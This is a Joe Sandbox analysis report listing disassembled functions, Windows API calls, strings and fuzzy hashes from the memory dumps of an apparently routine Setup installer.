Instruction Fuzzy Hash: A921F330A102199BCF14DFB8C9455FEB772AF2235CF204A2AD031A7BD0DB70D90A87A1

Function 6C8F7DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F7DB7

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C4CB2: __EH_prolog3.LIBCMT ref: 6C8C4CB9

Part of subcall function 6C8C395E: __EH_prolog3.LIBCMT ref: 6C8C3965

Strings

Operation: %s, xrefs: 6C8F7E25
Operation Type, xrefs: 6C8F7DCF, 6C8F7DD4, 6C8F7DEE

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: Operation Type$Operation: %s
API String ID: 431132790-3288381836
Opcode ID: ecec097de77c837f0f06d0305e70dc92ad26c2f0105a0166caa007ada11197ca
Instruction ID: 792157d50396e2a840a83062fd49521549eba6cf9d57f194560a723bacf3f70d
Opcode Fuzzy Hash: ecec097de77c837f0f06d0305e70dc92ad26c2f0105a0166caa007ada11197ca
Instruction Fuzzy Hash: AD217C71900109DFCB10DBE8C945ADEBBB9AF25208F104459E140EBB51C774DA09CBA5

Function 6C8FFF21 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 6C8FFF54
_memcpy_s.LIBCMT ref: 6C8FFF8A

Part of subcall function 6C918E8C: __CxxThrowException@8.LIBCMT ref: 6C918EA0

Strings

OS Version Information, xrefs: 6C8FFF29

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Exception@8Throw_memcpy_s_wcsnlen
String ID: OS Version Information
API String ID: 31407445-551053750
Opcode ID: 9c63a639ee519eab536a0c439a5492597f7296c8b7f45d34778611928766e027
Instruction ID: 487046e34aaf4732d3109e1e39a2e22182ec343c12656df8b06020cb1a77b692
Opcode Fuzzy Hash: 9c63a639ee519eab536a0c439a5492597f7296c8b7f45d34778611928766e027
Instruction Fuzzy Hash: EA01C832604108AF9B14DF68CC45C9D77E9DBA53A4715852EF5249BB50EA30EA15CB90

Function 6C8E531E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E5325

Part of subcall function 6C918AFC: _wcsnlen.LIBCMT ref: 6C918B0C

DeleteFileW.KERNEL32(?,00000010,HFI,00000000,?,6C8BAB18,00000004,6C90A448,38D98A99,38D98A99,?,?,6C8F4B23), ref: 6C8E5399

Strings

HFI, xrefs: 6C8E5376

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: DeleteFileH_prolog3_wcsnlen
String ID: HFI
API String ID: 1332513528-686494941
Opcode ID: c2beb689c26f894be4aac4a8ea516b1060af238c6b0735193d2d588055861696
Instruction ID: 8b6b3c1e79f3059867542bd2c67298990e00dde7ce0f7a80e5a6b22987e9726f
Opcode Fuzzy Hash: c2beb689c26f894be4aac4a8ea516b1060af238c6b0735193d2d588055861696
Instruction Fuzzy Hash: 6611E5313102089FC7189FB8C9416EEB7A1AF3631CB114A26E4619BF94D770D918A694

Function 6C90356C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C903573

Part of subcall function 6C8C579B: _memset.LIBCMT ref: 6C8C57CA
Part of subcall function 6C8C579B: GetVersionExW.KERNEL32 ref: 6C8C57DF
Part of subcall function 6C8C579B: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000001), ref: 6C8C57F5
Part of subcall function 6C8C579B: VerSetConditionMask.KERNEL32(00000000,?,00000001,00000001), ref: 6C8C57FD
Part of subcall function 6C8C579B: VerSetConditionMask.KERNEL32(00000000,?,00000020,00000001,?,00000001,00000001), ref: 6C8C5805
Part of subcall function 6C8C579B: VerSetConditionMask.KERNEL32(00000000,?,00000010,00000001,?,00000020,00000001,?,00000001,00000001), ref: 6C8C580D
Part of subcall function 6C8C579B: VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8C5818

Strings

CSDReleaseType, xrefs: 6C9035CC
SYSTEM\CurrentControlSet\Control\Windows, xrefs: 6C9035E1

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ConditionMask$Version$H_prolog3InfoVerify_memset
String ID: CSDReleaseType$SYSTEM\CurrentControlSet\Control\Windows
API String ID: 3830908078-406884543
Opcode ID: abc5debcbec999d05dbea20b07a356bffca31a413b1fb5969bf21aa21eae9634
Instruction ID: a37d1a941a8759d7abd1fd270c2ac11f00545e31b7bd071dd9d8095da1a3595f
Opcode Fuzzy Hash: abc5debcbec999d05dbea20b07a356bffca31a413b1fb5969bf21aa21eae9634
Instruction Fuzzy Hash: 1701A5B2D101286BDB148F28C912BE93694BB11398F064566FD69EB741C339DA04DA91

Function 6C901602 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,6C8FFA6E,?,?,?,?,?,?,6C9034F1,6C8FFA6E,000000FF), ref: 6C901637
GetLastError.KERNEL32(?,6C8FFA6E,?,?,?,?,?,?,6C9034F1,6C8FFA6E,000000FF,?,?,00000738,6C8FFA6E,?), ref: 6C901647

Part of subcall function 6C8C7479: __EH_prolog3.LIBCMT ref: 6C8C7480

Strings

GetDiskFreeSpaceEx, xrefs: 6C901650

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: DiskErrorFreeH_prolog3LastSpace
String ID: GetDiskFreeSpaceEx
API String ID: 3776785849-3355056173
Opcode ID: 5061ce2453e4d358babcbe9a7c1988031c4ce2d6c3d78e680ab1e382c21b48a5
Instruction ID: cc8be270c55f0d0c878d6c231fc3e7586119d473eb6042c8101d68fc509c9baf
Opcode Fuzzy Hash: 5061ce2453e4d358babcbe9a7c1988031c4ce2d6c3d78e680ab1e382c21b48a5
Instruction Fuzzy Hash: 120116B6A00219FB8B00DFD9D9458EEBBB9EB99714F114459E905B3200D770AB09CBD0

Function 6C8FEC5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8FEC61

Part of subcall function 6C8F3B2B: __EH_prolog3.LIBCMT ref: 6C8F3B32
Part of subcall function 6C8F3B2B: InitializeCriticalSection.KERNEL32(00000002,?,00000000,00000000,00000002,?,?,00000000,?,?,?,?,00000008,6C8FEC79,?,?), ref: 6C8F3BC9

Part of subcall function 6C902C16: PathFileExistsW.SHLWAPI(00000000), ref: 6C902CA8
Part of subcall function 6C902C16: __CxxThrowException@8.LIBCMT ref: 6C902CE7
Part of subcall function 6C902C16: CopyFileW.KERNEL32(00000010,00000000,00000000,?), ref: 6C902D19
Part of subcall function 6C902C16: SetFileAttributesW.KERNEL32(?,00000080), ref: 6C902D32

InitializeCriticalSection.KERNEL32(?,?,?,.html,00000001,00000000,6C8F747C,00000000,00000000,?,?,?,?,?,?,?), ref: 6C8FECBB

Strings

.html, xrefs: 6C8FEC6B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: File$CriticalH_prolog3InitializeSection$AttributesCopyException@8ExistsPathThrow
String ID: .html
API String ID: 4277916732-2179875201
Opcode ID: 8d5bd68876e84e7a45ace5caf358e479be5ae864fb2c1b81a90114efe5bded9e
Instruction ID: fdd3975b641f8fd1a58fe311d55a9b5d931ca139dff5a594d34a911f966f847f
Opcode Fuzzy Hash: 8d5bd68876e84e7a45ace5caf358e479be5ae864fb2c1b81a90114efe5bded9e
Instruction Fuzzy Hash: 22F0A935600246EBDB05EBA486897DCB7A57F3430CF5084589504ABF40CB74EE1DE7A2

Function 63956615 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,80000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 63956636
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,639572CF), ref: 63956648

Strings

tooltips_class32, xrefs: 6395662F

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$Create
String ID: tooltips_class32
API String ID: 870168347-1918224756
Opcode ID: 5a6efc6569761212c73502d48a3aff133ed62b83b9d4a9ea0cc79018be0fb146
Instruction ID: 53cf804df0703340e8a56bad5c8d67c0c329da9e6e203c722786b07cd529638a
Opcode Fuzzy Hash: 5a6efc6569761212c73502d48a3aff133ed62b83b9d4a9ea0cc79018be0fb146
Instruction Fuzzy Hash: BFE04CB15471317EE6706A5AAC0CFE76E5CEF476B4F214214792CE6181D6205910CBF4

Function 6C90A1E6 Relevance: 4.7, APIs: 3, Instructions: 225COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C90A1ED
GetCurrentProcessId.KERNEL32(00000020,6C8E53D9,00000000,?,?,6C8F4B23), ref: 6C90A1FD

Part of subcall function 6C8E5238: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,00000000), ref: 6C8E5254
Part of subcall function 6C8E5238: _memset.LIBCMT ref: 6C8E526E
Part of subcall function 6C8E5238: Process32FirstW.KERNEL32(00000000,?), ref: 6C8E5288
Part of subcall function 6C8E5238: CloseHandle.KERNEL32(00000000), ref: 6C8E52B7

Part of subcall function 6C918EAB: _memcpy_s.LIBCMT ref: 6C918EFC

Part of subcall function 6C8F8608: __wcsicoll.LIBCMT ref: 6C8F8626

GetTempPathW.KERNEL32(00000104,00000000,6C8F4B23,6C8F4614,6C8F4B23,00000000,00000010,00000010,?,00000000,6C8F4614,?,?,6C8F4B23), ref: 6C90A415

Part of subcall function 6C8E5238: Process32NextW.KERNEL32(00000000,0000022C), ref: 6C8E52A3

Part of subcall function 6C918AFC: _wcsnlen.LIBCMT ref: 6C918B0C

Part of subcall function 6C8E531E: __EH_prolog3.LIBCMT ref: 6C8E5325

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3Process32$CloseCreateCurrentFirstHandleNextPathProcessSnapshotTempToolhelp32__wcsicoll_memcpy_s_memset_wcsnlen
String ID:
API String ID: 3082661801-0
Opcode ID: ba9cd797fe303d8d195b2771051013c7bb4a2a9ac2e643577a3ab32486cfd9e3
Instruction ID: f241fe7cf9b688b703ac7e2fac1f466ae47121f0a952457b2ef87ba6af62e5bd
Opcode Fuzzy Hash: ba9cd797fe303d8d195b2771051013c7bb4a2a9ac2e643577a3ab32486cfd9e3
Instruction Fuzzy Hash: 4391C171904208CFDB14DFBCC949ADDBBB5BF29328F144A59E050ABB81DB34D908DBA5

Function 6C90988C Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C909893
GetCommandLineW.KERNEL32(0000002C,6C90D52A,00000001,?,UiInfo.xml,?,?,00000000,?), ref: 6C9098B4

Part of subcall function 6C8C3E77: __EH_prolog3.LIBCMT ref: 6C8C3E7E

Part of subcall function 6C8C4412: __EH_prolog3.LIBCMT ref: 6C8C4419

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C53D4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000105,00000010,6C94EE70,?,?,?,?,6C90995C,00000000,?,UiInfo.xml,?,?,00000000), ref: 6C8C5412
Part of subcall function 6C8C53D4: ExpandEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,?,6C90995C,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6C8C5440

PathIsRelativeW.SHLWAPI(?,?,?,00000000,?,UiInfo.xml,?,?,00000000,?), ref: 6C90996E

Part of subcall function 6C8C5D3F: __EH_prolog3.LIBCMT ref: 6C8C5D46
Part of subcall function 6C8C5D3F: GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Part of subcall function 6C8F8E4A: PathAppendW.SHLWAPI(00000000,?,?,?,?,?,6C9099FD,00000000,00000000,?,?,?,00000000,?,UiInfo.xml), ref: 6C8F8E6E

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$EnvironmentExpandPathStrings$AppendCommandFileLineModuleNameRelative
String ID:
API String ID: 168041992-0
Opcode ID: 1ac61e5819073f6a6bb714b8e2553af46fe9081ea3f65de430aae9b088355679
Instruction ID: 333653f6858c7f2915cd51a105850ee3d5059c49fc9b82d4323545f469cbacc2
Opcode Fuzzy Hash: 1ac61e5819073f6a6bb714b8e2553af46fe9081ea3f65de430aae9b088355679
Instruction Fuzzy Hash: E4416F31A0414DDFCF10DBF8C945AEEBBB5BF15318F244556E020A7B81CB38DA199766

Function 6C5D182C Relevance: 4.6, APIs: 3, Instructions: 109registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,6C5D2E5E,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D1897
RegQueryValueExW.KERNEL32(6C5D2E5E,?,00000000,00000027,80000002,?,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?), ref: 6C5D18B3
RegCloseKey.KERNEL32(6C5D2E5E,?,00000000,?,?,?,6C5D2E5E,80000002,Software\Microsoft\SQMClient,MachineId,?,00000027), ref: 6C5D18D1

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: c18aad4c01f906f308bb027408cf7f2e8dbc514ab5bdf1f56b8aeb92e0874834
Instruction ID: c0e78fed707a88cd83fbd6c9513eddcc314e9d7f13565e219b5fba9dd79265fb
Opcode Fuzzy Hash: c18aad4c01f906f308bb027408cf7f2e8dbc514ab5bdf1f56b8aeb92e0874834
Instruction Fuzzy Hash: 2831B231601385AFDB04DF59DC80E9B3BF9EB55359F56026AF920D6A61C330E984CB98

Function 6394F415 Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6394F24C: GetDlgItem.USER32(?), ref: 6394F257
Part of subcall function 6394F24C: SetWindowTextW.USER32(00000000,?), ref: 6394F286
Part of subcall function 6394F24C: ShowWindow.USER32(00000000,00000005), ref: 6394F28F
Part of subcall function 6394F24C: KiUserCallbackDispatcher.NTDLL(00000000,00000000), ref: 6394F2AE

Part of subcall function 6394F24C: ShowWindow.USER32(00000000,00000000), ref: 6394F2A5

GetDlgItem.USER32(?,00003024), ref: 6394F479
GetWindowLongW.USER32(00000000,000000EB), ref: 6394F484
SetWindowLongW.USER32(00000000,000000EB,00000001), ref: 6394F4C4

Part of subcall function 6394F527: GetWindowPlacement.USER32(00000000,?,00000000), ref: 6394F550
Part of subcall function 6394F527: SetWindowPlacement.USER32(00000000,0000002C), ref: 6394F561

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Window$ItemLongPlacementShow$CallbackDispatcherTextUser
String ID:
API String ID: 3090988947-0
Opcode ID: 15809a826bf49ac134bfb54a3b1863ac128e1f4ca28ef83d42a8c127cc005842
Instruction ID: 615b97a68e75483917491d21314079541cc6d5ee766a8d53919022477036f84e
Opcode Fuzzy Hash: 15809a826bf49ac134bfb54a3b1863ac128e1f4ca28ef83d42a8c127cc005842
Instruction Fuzzy Hash: FE21293A2042059FCB10AF68C498D597BE5EF8A768B164294FD0ADF3A6CB31DC11CF81

Function 6395F5FD Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395F604
__recalloc.LIBCMT ref: 6395F612
__recalloc.LIBCMT ref: 6395F62E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: __recalloc$H_prolog3
String ID:
API String ID: 59120599-0
Opcode ID: d9e941057cea9de26c270b2d0f7acce881c586e08e9fde84964bd1c5dff4bd8e
Instruction ID: 765dc7a7ca6090ac073025d03c2b7288c534e7a08a6d910a214b081ab09b42c3
Opcode Fuzzy Hash: d9e941057cea9de26c270b2d0f7acce881c586e08e9fde84964bd1c5dff4bd8e
Instruction Fuzzy Hash: D1113C71502306DFE720DF68C980B59B7E4EB15A68F148828F9EACB350D731E8508F40

Function 6C8E76BB Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E76C2

Part of subcall function 6C8E75C2: __EH_prolog3.LIBCMT ref: 6C8E75C9
Part of subcall function 6C8E75C2: OpenFileMappingW.KERNEL32(00000002,00000000,00000000,?,6C8BAB18,00000008,6C8E76FE,?,?,00000004,6C90C454,?,6C8B95D4,00000000,00000001,?), ref: 6C8E75F2
Part of subcall function 6C8E75C2: GetLastError.KERNEL32(?,?,?,?,00000001), ref: 6C8E75FF

OpenEventW.KERNEL32(00100002,00000000,00000000,?,?,00000004,6C90C454,?,6C8B95D4,00000000,00000001,?,6C8BA794,?,00000001,?), ref: 6C8E770B
OpenFileMappingW.KERNEL32(00000002,00000000,00000000,?,?,?,?,00000001), ref: 6C8E771B

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Open$FileH_prolog3Mapping$ErrorEventLast
String ID:
API String ID: 1631330826-0
Opcode ID: 562bb95a53687ee778a89e206030dbbbf779f192aa9e4e2a00045a9b34c0ba9d
Instruction ID: 1c3b82b55755444003a0c204cd970c7610af3554cbead51639cff2b7574061cb
Opcode Fuzzy Hash: 562bb95a53687ee778a89e206030dbbbf779f192aa9e4e2a00045a9b34c0ba9d
Instruction Fuzzy Hash: 5F115EB1600306EFCB20CF64C942B99BBB0BF59314F108959F8589BB91C770E828CF94

Function 6C8CC406 Relevance: 4.5, APIs: 3, Instructions: 40registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,?,00000000,00000001,?,?,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6C8CC426
RegQueryValueExW.KERNEL32(?,?,00000000,00000000,6C900F4A,00000004,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType), ref: 6C8CC43F
RegCloseKey.KERNEL32(?,?,?,?,6C9035F5,?,SYSTEM\CurrentControlSet\Control\Windows,?,?,CSDReleaseType,?,02F92298,00000004,6C900F4A,?), ref: 6C8CC44E

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 62373634f74180bd9e5564859d3abaf7d0de082cefc96d3de27724e49c8802cc
Instruction ID: 35fa1f3f3c50e5dddb3d3b08e70436f01dd0effa9ce91e8a464e77913e510b30
Opcode Fuzzy Hash: 62373634f74180bd9e5564859d3abaf7d0de082cefc96d3de27724e49c8802cc
Instruction Fuzzy Hash: BFF03C76200108FFEB10DFA5CC86EAE7B7DEF113A8F108215F91196290D775DE54AB61

Function 6C8C7CE8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C7CEF

Part of subcall function 6C8F833E: __EH_prolog3.LIBCMT ref: 6C8F8345

Part of subcall function 6C8C7EE4: __EH_prolog3.LIBCMT ref: 6C8C7EEB

Part of subcall function 6C8C5DD0: __EH_prolog3.LIBCMT ref: 6C8C5DD7

Part of subcall function 6C8C5485: __EH_prolog3.LIBCMT ref: 6C8C548C
Part of subcall function 6C8C5485: GetModuleHandleW.KERNEL32(kernel32.dll,0000002C,6C8C7DAF,?,?,?,?,?,00000000,?,?,6C8BAB18,00000008,6C8C7CD9), ref: 6C8C549C

Strings

Unknown, xrefs: 6C8C7D93

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
